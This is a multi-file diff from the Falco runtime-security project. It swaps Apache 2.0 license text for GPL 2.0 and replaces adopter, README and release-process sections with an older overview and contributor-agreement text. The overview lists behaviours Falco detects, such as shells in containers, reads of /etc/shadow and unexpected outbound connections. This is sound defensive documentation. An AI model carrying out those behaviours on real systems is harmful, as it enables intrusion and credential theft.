-# Adopters
-
-Known end users with notable contributions to the project include:
-* AWS
-* IBM
-* Red Hat
-
-Falco is being used by numerous other companies, both large and small, to build higher layer products and services. The list includes but is not limited to:
-* Equinix Metal
-* IEEE
-* Lowes
-* Reckrut
-* Yellow Pepper
-* CTx
-* Utikal
-* Discrete Events
-* Agritech Infra
-
-This is a list of production adopters of Falco (in alphabetical order):
-
-* [ASAPP](https://www.asapp.com/) - ASAPP is a pushing the boundaries of fundamental artificial intelligence research. We apply our research into AI-Native® products that make organizations, in the customer experience industry, highly productive, efficient, and effective—by augmenting human activity and automating workflows. We constantly monitor our workloads against different hazards and FALCO helps us extend our threat monitoring boundaries.
-
-* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
-
-* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
-
-* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
-
-* [Giant Swarm](https://www.giantswarm.io/) - Giant Swarm manages Kubernetes clusters and infrastructure for enterprises across multiple cloud providers as well as several flavors of on-premises data centers. Our platform provisions and monitors pure "vanilla" Kubernetes clusters which can be augmented with managed solutions to many common Kubernetes challenges, including security. We use Falco for anomaly detection as part of our collection of entirely open-source tools for securing our own clusters, and offer the same capabilities to our customers as part of our [managed security offering](https://docs.giantswarm.io/app-platform/apps/security/).
-
-* [GitLab](https://about.gitlab.com/direction/defend/container_host_security/) - GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate. GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.
-
-* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containers which could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
-
-* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.

+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
 
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
 
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
 
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
 
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
 
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
 
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
+  The precise terms and conditions for copying, distribution and
+modification follow.
 
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
 
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
 
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
 
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
 
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
 
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
 
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
 
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
 
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
 
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
 
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
 
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
 
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
 
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
 
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
 
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
 
-   END OF TERMS AND CONDITIONS
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
 
-   APPENDIX: How to apply the Apache License to your work.
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
 
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
 
-   Copyright 2019 The Falco Authors
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
 
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.

+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
 
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+* In addition, as a special exception, the copyright holders give
+* permission to link the code of portions of this program with the
+* OpenSSL library under certain conditions as described in each
+* individual source file, and distribute linked combinations
+* including the two.
+* You must obey the GNU General Public License in all respects
+* for all of the code used other than OpenSSL.  If you modify
+* file(s) with this exception, you may extend this exception to your
+* version of the file(s), but you are not obligated to do so.  If you
+* do not wish to do so, delete this exception statement from your
+* version.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.

-### Latest releases
+## Overview
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
 
-Read the [change log](CHANGELOG.md).
+#### What kind of behaviors can Falco detect?
 
-<!-- 
-Badges in the following table are constructed by using the
-https://img.shields.io/badge/dynamic/xml endpoint.
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
 
-Parameters are configured for fetching packages from S3 before 
-(filtered by prefix, sorted in ascending order) and for picking 
-the latest package by using an XPath selector after.
+- A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
+- A server process spawns a child process of an unexpected type
+- Unexpected read of a sensitive file (like `/etc/shadow`)
+- A non-device file is written to `/dev`
+- A standard system binary (like `ls`) makes an outbound network connection
 
-- Common query parameters:
+#### How Falco Compares to Other Security Tools like SELinux, Auditd, etc.
 
-color=#300aec7
-style=flat-square
-label=Falco
+One of the questions we often get when we talk about Sysdig Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
 
-- DEB packages parameters:
-
-url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/deb/stable/falco-
-query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
-
-- RPM packages parameters:
-
-url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/rpm/falco-
-query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
-
-- BIN packages parameters:
-
-url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/bin/x86_64/falco-
-query=substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'], "falco-")
-
-Notes:
- - if more than 1000 items are present under as S3 prefix, 
-   the actual latest package will be not picked;
-   see https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
- - for `-dev` packages, the S3 prefix is modified accordingly
- - finally, all parameters are URL encoded and appended to the badge endpoint

-The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
-Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack.
-Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
-If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.

-### Installing Falco
+License Terms
+---
+Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
 
-If you would like to run Falco in **production** please adhere to the [official installation guide](https://falco.org/docs/getting-started/installation/).
+Contributor License Agreements
+---
+### Background
+ As we did for sysdig, we are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and we’ve tried to make this process as clear and simple as possible.
 
-##### Kubernetes
+ We’ve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.

-| Minikube | [Tutorial](https://falco.org/docs/getting-started/third-party/#minikube)                                   | The Falco driver has been baked into minikube for easy deployment. |
-| Kind     | [Tutorial](https://falco.org/docs/getting-started/third-party/#kind)                                       | Running Falco with kind requires a driver on the host system.      |
-| GKE      | [Tutorial](https://falco.org/docs/getting-started/third-party/#gke)                                        | We suggest using the eBPF driver for running Falco on GKE.         |
+ For some background on why contributor license agreements are necessary, you can read FAQs from many other open source projects:
 
-### Developing
+- [Django’s excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
+- [A well-written chapter from Karl Fogel’s Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
+- [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
 
-Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
+As always, we are grateful for your past and present contributions to falco.
 
-Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
-The Falco Project supports various SDKs for this endpoint.
+### What do I need to do in order to contribute code?
 
-##### SDKs

-# Falco Release Process
-
-Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
-
-Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
-
-Falco releases are due to happen 3 times per year. Our current schedule sees a new release by the end of January, May, and September each year. Hotfix releases can happen whenever it's needed.
-
-Moreover, we need to assign owners for each release (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community).
-
-Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
-
-## Pre-Release Checklist
-
-Before cutting a release we need to do some homework in the Falco repository. This should take 5 minutes using the GitHub UI.
-
-### 1. Release notes
-- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
-- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
-    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
-    - If the PR has no milestone, assign it to the milestone currently undergoing release
-- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
-- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
-
-### 2. Milestones
-
-- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
-
-### 3. Release PR
-
-- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
-    - If any, manually correct it then open an issue to automate version number bumping later
-    - Versions table in the `README.md` updates itself automatically
-- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
-    - Execute `rn2md -o falcosecurity -m <version> -r falco`
